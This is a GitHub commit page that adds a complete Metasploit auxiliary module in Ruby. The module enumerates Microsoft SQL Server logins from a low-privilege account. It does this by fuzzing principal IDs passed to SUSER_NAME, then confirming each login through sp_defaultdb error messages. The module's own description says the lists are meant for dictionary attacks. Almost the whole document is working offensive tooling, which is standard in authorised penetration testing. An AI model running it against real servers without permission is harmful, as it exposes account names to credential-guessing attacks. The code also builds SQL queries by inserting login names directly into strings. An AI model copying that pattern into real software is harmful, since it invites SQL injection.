Skip to content

Commit 74344e9

Browse files
committed
added mssql_enum_sql_logins
1 parent 56a02fd commit 74344e9

File tree

1 file changed

+175
-0
lines changed

1 file changed

+175
-0
lines changed
Lines changed: 175 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,175 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
require 'msf/core/exploit/mssql_commands'
8+
9+
class Metasploit3 < Msf::Auxiliary
10+
11+
include Msf::Exploit::Remote::MSSQL
12+
13+
def initialize(info = {})
14+
super(update_info(info,
15+
'Name' => 'Microsoft SQL Server - Enumerate SQL Logins',
16+
'Description' => %q{
17+
This module can be used to obtain a list of all logins from a SQL Server with any
18+
login. Selecting all of the logins from the master..syslogins table is restricted
19+
to sysadmins. However, logins with the PUBLIC role (everyone) can quickly enumerate
20+
all SQL Server logins using the SUSER_SNAME function by fuzzing the principal_id parameter.
21+
This is pretty simple, because the principal ids assigned to logins are incremental. Once
22+
logins have been enumerated they can be verified via sp_defaultdb error ananlysis.
23+
This is important, because not all of the principal ids resolve to SQL logins. Some resolve
24+
to roles etc. Once logins have been enumerated they can be used in dictionary attacks.
25+
},
26+
'Author' => [ 'nullbind <scott.sutherland[at]netspi.com>'],
27+
'License' => MSF_LICENSE,
28+
'References' => [[ 'URL','http://msdn.microsoft.com/en-us/library/ms174427.aspx']]
29+
))
30+
31+
register_options(
32+
[
33+
OptInt.new('FuzzNum', [ true, 'Number of principal_ids to fuzz.', '300']),
34+
], self.class)
35+
end
36+
37+
def run
38+
# Check connection and issue initial query
39+
print_status("Attempting to connect to the database server at #{rhost}:#{rport} as #{datastore['USERNAME']}...")
40+
if mssql_login_datastore
41+
print_good('Connected.')
42+
else
43+
print_error('Login was unsuccessful. Check your credentials.')
44+
disconnect
45+
return
46+
end
47+
48+
# Query for sysadmin status
49+
print_status("Checking if #{datastore['USERNAME']} has the sysadmin role...")
50+
user_status = check_sysadmin
51+
52+
# Check if user has sysadmin role
53+
if user_status == 1
54+
print_good("#{datastore['USERNAME']} is a sysadmin.")
55+
else
56+
print_status("#{datastore['USERNAME']} is NOT a sysadmin.")
57+
end
58+
59+
# Get a list if sql server logins using SUSER_NAME()
60+
print_status("Setup to fuzz #{datastore['FuzzNum']} SQL Server logins.")
61+
print_status("Enumerating logins...")
62+
sql_logins_list = get_sql_logins
63+
if sql_logins_list.nil? || sql_logins_list.length == 0
64+
print_error('Sorry, somethings went wrong - SQL Server logins were found.')
65+
disconnect
66+
return
67+
else
68+
# Print number of initial logins found
69+
print_good("#{sql_logins_list.length} initial SQL Server logins were found.")
70+
71+
sql_logins_list.sort.each do |sql_login|
72+
if datastore['VERBOSE']
73+
print_status(" - #{sql_login}")
74+
end
75+
end
76+
end
77+
78+
# Verify the enumerated SQL Logins using sp_defaultdb error ananlysis
79+
print_status('Verifying the SQL Server logins...')
80+
sql_logins_list_verified = verify_logins(sql_logins_list)
81+
if sql_logins_list_verified.nil?
82+
print_error("Sorry, no SQL Server logins could be verified.")
83+
disconnect
84+
return
85+
else
86+
87+
# Display list verified SQL Server logins
88+
print_good("#{sql_logins_list_verified.length} SQL Server logins were verified:")
89+
sql_logins_list_verified.sort.each do |sql_login|
90+
print_status(" - #{sql_login}")
91+
end
92+
end
93+
94+
disconnect
95+
return
96+
end
97+
98+
# Checks if user is a sysadmin
99+
def check_sysadmin
100+
# Setup query to check for sysadmin
101+
sql = "select is_srvrolemember('sysadmin') as IsSysAdmin"
102+
103+
# Run query
104+
result = mssql_query(sql)
105+
106+
# Parse query results
107+
parse_results = result[:rows]
108+
status = parse_results[0][0]
109+
110+
# Return status
111+
return status
112+
end
113+
114+
# Gets trusted databases owned by sysadmins
115+
def get_sql_logins
116+
117+
# Create array to store the sql logins
118+
sql_logins = []
119+
120+
# Fuzz the principal_id parameter passed to the SUSER_NAME function
121+
(1..datastore['FuzzNum']).each do|principal_id|
122+
123+
# Setup query
124+
sql = "SELECT SUSER_NAME(#{principal_id}) as login"
125+
126+
# Execute query
127+
result = mssql_query(sql)
128+
129+
# Parse results
130+
parse_results = result[:rows]
131+
sql_login = parse_results[0][0]
132+
133+
# Add to sql server login list
134+
sql_logins.push(sql_login) unless sql_logins.include?(sql_login)
135+
end
136+
137+
# Return list of logins
138+
sql_logins
139+
140+
end
141+
142+
# Checks if user has the db_owner role
143+
def verify_logins(sql_logins_list)
144+
145+
# Create array for later use
146+
verified_sql_logins = []
147+
148+
# Check if the user has the db_owner role is any databases
149+
sql_logins_list.each do |sql_login|
150+
151+
# Setup query
152+
sql = "EXEC sp_defaultdb '#{sql_login}', 'NOTAREALDATABASE1234ABCD'"
153+
154+
# Execute query
155+
result = mssql_query(sql)
156+
157+
# Parse results
158+
parse_results = result[:errors]
159+
result = parse_results[0]
160+
161+
# Check if sid resolved to a sql login
162+
if result.include? 'NOTAREALDATABASE1234ABCD'
163+
verified_sql_logins.push(sql_login) unless verified_sql_logins.include?(sql_login)
164+
end
165+
166+
# Check if sid resolved to a sql login
167+
if result.include? 'alter the login'
168+
169+
# Add sql server login to verified list
170+
verified_sql_logins.push(sql_login) unless verified_sql_logins.include?(sql_login)
171+
end
172+
end
173+
verified_sql_logins
174+
end
175+
end

0 commit comments

Comments
 (0)